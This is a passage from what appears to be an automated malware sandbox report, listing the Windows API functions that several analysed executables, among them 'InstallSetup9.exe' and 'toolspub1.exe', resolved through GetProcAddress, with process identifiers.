"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00000640) "InstallSetup9.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter get (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter FtpCommandW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter FreeAddrInfoExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002856) "InstallSetup9.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002856) "toolspub1.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004224) "toolspub1.exe" called "GetProcAddress" with a parameter atexit (UID: 00000000-00004224) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SuspendThread (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetWaitableTimer (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetProcessPriorityBoost (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter PostQueuedCompletionStatus (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemDirectoryA (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetProcessAffinityMask (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateIoCompletionPort (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AddVectoredExceptionHandler (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter atexit (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AddVectoredContinueHandler (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter NtWaitForSingleObject (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RtlGetNtVersionNumbers (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WTSGetActiveConsoleSessionId (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WTSQuerySessionInformationW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WinStationQueryInformationW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetCurrentDirectoryW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter EtwRegisterTraceGuidsW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SxsOleAut32RedirectTypeLibrary (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SxsOleAut32MapConfiguredClsidToReferenceClsid (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VariantInit (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoCreateFreeThreadedMarshaler (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemDefaultLocaleName (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00002512) 